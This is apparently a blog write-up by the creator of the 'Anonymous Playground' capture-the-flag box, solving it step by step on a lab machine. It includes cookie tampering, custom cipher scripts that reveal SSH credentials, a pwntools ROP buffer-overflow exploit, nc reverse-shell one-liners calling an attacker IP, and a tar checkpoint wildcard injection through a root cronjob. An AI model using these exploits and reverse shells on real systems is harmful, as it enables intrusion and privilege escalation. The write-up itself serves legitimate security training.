You've successfully subscribed to N0Sec
Great! Next, complete checkout for full access to N0Sec
Welcome back! You've successfully signed in
Success! Your account is fully activated, you now have access to all content.
Anonymous Playground.md

Anonymous Playground.md

Table of Contents

Introduction

Author: Nameless0ne (Me)
Difficulty: Hard
Date Released: 8/13/2020

Topics Covered

  1. Enumeration
  2. Cryptology
  3. Python
  4. Linux Privilege Escalation
  5. Buffer Overflow (ROP)

This was an incredibly fun box to develop. I learned a lot about creating vulnerable code, practiced some C programming,
assembly and even brushed off my Python skills with the custom cipher that was created by
Sq00ky. This is a fairly CTF-y box with not much in terms of enumeration once you're actually on the machine. There's some towards the end once you're going for root but you'll see.

Enumeration

You know the drill. Basic nmap scan nmap -sC -sV -oA nmap 192.168.86.67. Created its own nmap directory to be nice and
neat in case I need to come back (I don't need to here but it's good practice for OSCP).

initial scan

So, SSH and HTTP are open. Fairly light if you ask me! I guess we'll just start with enumerating HTTP.

HTTP Enumeration

Let's begin by pulling up the webpage.

webpage

Very interesting. I like the ASCII art if I do say so myself :P. We can navigate to the two different pages and see

operatives

/contact doesn't go anywhere. Very cool.

Let's start a wfuzz. Let's make it pretty, show everything except 404 (which I don't know why this isn't the default)
and use our standard directory-list-2.3-medium.txt. Excellent.

wfuzz

So, going back to the nmap scan, we notice that under Port 80, we see

| http-robots.txt: 1 disallowed entry
|_/zYdHuAKjP

so this means that there's a hidden page. Let's go to it!

hidden page

Well, that's rude

rude

Let's look at the page source

<!doctype html>


<html lang="en">

<head>
  <title>Proving Grounds</title>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Bootstrap CSS -->
  <link rel="stylesheet" href="/css/bootstrap.min.css">
  <!-- Custom CSS -->
  <link rel="stylesheet" href="/css/main.css">

  <link rel="shortcut icon" href="/favicon.png" type="image/x-icon">
</head>

<body>
  <div class="container-fluid">
    <ul class="nav justify-content-center mb-3">
      <li class="nav-item">
        <a class="nav-link active text-white" href="/">Home</a>
      </li>
      <li class="nav-item">
        <a class="nav-link text-white" href="/operatives.php">Operatives</a>
      </li>
      <li class="nav-item">
        <a class="nav-link text-white" href="#">Contact</a>
      </li>
    </ul>

    <div class='row'>
      <div class='col'>
        <p class='text-center'>You have not been <b>granted</b> access. <br /> Access denied.
      </div>
    </div>
  </div>
</body>

This doesn't tell us much unfortunately. The only thing we could maybe tell from this is that "granted" is bolded
(which doesn't actually show in the font itself). Time to fire up Burp.

GET /zYdHuAKjP/ HTTP/1.1
Host: 192.168.86.64
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: access=denied
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Interesting. So we see that it's getting the page and that there's a cookie called access. Let's send this to Repeater
with Ctrl+R.

What happens if we change the cookie value to "granted" instead of "denied"? Let's try it and send that off.

HTTP/1.1 200 OK
Date: Sun, 05 Jul 2020 02:51:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: access=denied; expires=Tue, 04-Aug-2020 02:51:23 GMT; Max-Age=2592000; path=/
Vary: Accept-Encoding
Content-Length: 1400
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>

<html lang="en">

<head>
  <title>Proving Grounds</title>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  <!-- Bootstrap CSS -->
  <link rel="stylesheet" href="/css/bootstrap.min.css">
  <!-- Custom CSS -->
  <link rel="stylesheet" href="/css/main.css">

  <link rel="shortcut icon" href="/favicon.png" type="image/x-icon">
</head>

<body>
  <div class="container-fluid">
    <ul class="nav justify-content-center mb-3">
      <li class="nav-item">
        <a class="nav-link active text-white" href="/">Home</a>
      </li>
      <li class="nav-item">
        <a class="nav-link text-white" href="/operatives.php">Operatives</a>
      </li>
      <li class="nav-item">
        <a class="nav-link text-white" href="#">Contact</a>
      </li>
    </ul>
    <div class='row'>
      <div class='col'>
        <p class='text-center'>Access granted. <br />
          Well done getting this far. But can you go further? <br /> <br />
          <span style='font-size: 30px;'>hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN</span>
        </p>
      </div>
    </div>
  </div>
</body>

At the very bottom, we can see some text congratulating us on making it this far. Then we see what looks like encoded text. It seems to be in the format of like a username::password type thing so time to break this code.

hEzAdCfHzA::hEzAdCfHzAhAiJzAeIaDjBcBhHgAzAfHfN

Author Note: This is one of the reasons why the box has it's Hard difficulty rating. The cipher is a custom cipher developed by Sq00ky and the scripts to encode and decode were written by me. It may take some time to get through but I'm going to outline the algorithm below

Now if I was good at math, I'd have a formula for this. If you're good at math and can come up with a formula for this...let me know in the comments or send me a DM on Twitter.

Given plaintext containing only alphabetic characters (lowercase only), for each letter (p) in the plaintext, generate two letters of ciphertext so that c1 is equal to a random integer < p but > 1. Ciphertext letter 2, c2, is equal to position of p - c1. There is no reversing the alphabet for "a", so a = zA.

Given that, we come up with the following Python script to encode.

encode.py

import random
import string
import argparse

# Initiate the parser
parser = argparse.ArgumentParser(description="Encode text using a custom cipher.")

# Add argument for the plaintext
parser.add_argument('plaintext', metavar='plaintext', type=str, nargs=1, help='plaintext to be encoded')

# Set a global variable name to the lowercase letters
LETTERS = string.ascii_lowercase

# Read arguments from the command line
args = parser.parse_args()
# Get the plaintext argument from the command line and make everything lowercase
plaintext = args.plaintext[0].lower()

ciphertext = []
# Begin looping over the plaintext to get each letter's position in the alphabet
for letter in plaintext:
    # If invalid characters are entered...
    if letter not in LETTERS:
        raise Exception('Invalid characters entered.  Only valid characters [A-Za-z] allowed.')

    position = LETTERS.index(letter)  # This will be 1 less than the actual letter's position (i.e. "B" = 1)

    if letter == 'a':
        ciphertext_letter1 = 'z'
        ciphertext_letter2 = 'A'
        ciphertext.append(ciphertext_letter1)
        ciphertext.append(ciphertext_letter2)
    else:
        # Create the 1st letter of the ciphertext from each letter of the plaintext
        ciphertext_letter1 = random.randint(1, position)
        # Create the 2nd letter of the ciphertext from each letter of the plaintext
        ciphertext_letter2 = (position + 1) - ciphertext_letter1
        # Append the first letter of the ciphertext into the list and convert the ascii to lowercase
        ciphertext.append(chr(ord('`') + ciphertext_letter1))
        # Append the second letter of the ciphertext into the list and convert the ascii to uppercase
        ciphertext.append(chr(ord('@') + ciphertext_letter2))

print(*ciphertext, sep="")

...and the script to decode

decode.py

import string
import argparse

# Initiate the parser
parser = argparse.ArgumentParser(description="Decode text using a custom cipher.")

# Add argument for the plaintext
parser.add_argument('ciphertext', metavar='ciphertext', type=str, nargs=1, help='ciphertext to be decoded')

# Set a global variable name to the lowercase letters
LETTERS = string.ascii_lowercase

# Read arguments from the command line
args = parser.parse_args()
# Get the ciphertext argument from the command line and make everything lowercase
ciphertext = args.ciphertext[0]

plaintext = []
# Begin looping over the length of the ciphertext in pairs
for i in range(0, len(ciphertext), 2):
    # Check to ensure the length of the ciphertext is divisible by 2 (even)
    if len(ciphertext) % 2 != 0:
        raise Exception("Invalid ciphertext")
    # Get the first plaintext letter in the pair
    ciphertext_letter1 = ciphertext[i]
    # Get the second plaintext letter in the pair
    ciphertext_letter2 = ciphertext[i + 1]
    # Account for 'a'
    if ciphertext_letter1 == "z" and ciphertext_letter2 == "A":
        plaintext.append("a")
        continue
    # Recover the original ciphertext ASCII values
    ciphertext_letter1_value_recovered = ord(ciphertext_letter1) - ord('`')
    ciphertext_letter2_value_recovered = ord(ciphertext_letter2) - ord('@')
    # Solve for the position from encode.py
    position = ciphertext_letter1_value_recovered + ciphertext_letter2_value_recovered - 1
    # Get the actual plaintext letter finally
    plaintext_letter = LETTERS[position]
    # Append it to the list
    plaintext.append(plaintext_letter)

print(*plaintext, sep="")

Looking at the ciphertext from Burp, it looks like the username is the same as the first part of the password. So that's interesting. Let's decode the second part.

magnaisanelephant

That sounds about right! So we have the password to some user. And if we decode the first part, we get magna. So we have magna's credentials. Let's login to SSH with them.

magna ssh

Initial Foothold/Enumeration (Magna)

We've successfully logged in as magna and can now begin poking around the system. Let's first snag the flag found in magna's home directory.

magna home

When we do that we see the flag and a few interesting things! We can see a note from spooky and an SUID binary. Not much was needed in terms of looking around but that's because of the challenge ahead...

Let's first read out the note from spooky. This could be interesting.

note from spooky

Uh-oh. I see where this is headed! Fortunately, he had the admins install radare2 and gdb. That's super nice of him. From here, we can do a few things...we can either debug on the machine with radare2, gdb and use Python to craft an exploit (difficult route) or we can use pwntools ssh feature locally to ssh in and run the exploit that way (less difficult route).

1st Privilege Escalation (Spooky)

It's probably best if we do this locally on our Kali machine. Radare2 and GDB are nice, but I have better tools. So first we can SCP the file down from magna (since we know his password) and drop it in a folder that we want.

scp
binary ls

And just like that, we have the binary copied over to our Kali machine. We have some awesome tools already at our disposal to inspect this. We'll be using gdb-gef and ropper to get all the addresses and offset we need.

We'll first run gdb-gef to get the offset. We need to create a pattern that we'll use to overflow rsp. We can do that with pattern create 200. This will just create a random pattern of letters to throw at the binary. And while we're at it, we'll get the address of call_bash with i functions.

gdb stuff
pattern create

Next, we'll run the program with r and paste our pattern in when prompted.

run

So it's segfaulting at 0x40070f which is the return call for main it would seem. This is step 1 of the overflow. We want to control ret so that we can get control of call_bash and execute. To do this, we need to find the offset. We can do that by pattern search {pattern} and paste the pattern in that is overflowing rsp.

pattern search

Bingo! Offset 72. Awesome. There's one last thing that we need to do because...Ubuntu stuff and something, something ret.

ropper ret

This can also be done in gdb by just calling ropper and scrolling to the end (not shown).

Putting all of this together and using pwntools, we can get the following code that we'll be able to execute locally and get a shell on the victim.

from pwn import *

sh = ssh(host="192.168.86.71", user="magna", password="magnaisanelephant")

p = sh.process("./hacktheworld")

payload = b"A" * 72       # offset
payload += p64(0x4004f6)  # ret (Ubuntu needs ret)
payload += p64(0x400657)  # call_bash

p.sendline(payload)
p.interactive()

And that's it. Once we fire this off, we'll have our privesc.

spooky privesc

hacktheplanet

Before we finish up and start our way towards root, this interactive shell that pwntools gives us is nice but we're going to need something a little...more. Start a netcat listener and we'll do

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.65 1337 >/tmp/f

nc listener

Do our usual pty upgrade and Bob's your uncle.

pty upgrade

From here, we can grab spooky's flag and be on our merry way to root.

spooky home

2nd Privilege Escalation (Root)

To start our enumeration as spooky, let's run our favorite linux-smart-enumeration. We'll kick off our scan with a level 1 scan right away. This gives us the most information without having to re-run the scan.

Once we scroll through everything, we should find this line.

lse

Judging by this line, it looks like there's a cronjob set up as root to backup spooky's /home directory. We can exploit this using the tar checkpoint exploit.

We'll enter into the terminal the following lines:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.65 8888 >/tmp/f" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Note: There are other shells that will work. If you used this method to upgrade your initial pwntools shell, then you may want to rename the file from f to g or something else.

Once we do that we can fire up netcat on Kali and listen on port 8888 and after a minute it should grab the connection and...

nc

groot

We did it.

Summary

This was a really fun box to develop. The cipher encoding and decoding was fun to program and thanks to Sq00ky for the cipher! I learned a lot from coding the binary and buffer overflow exploit. Now...I'm going to go relax.

As always...cya Cyber Cowboy.

Spike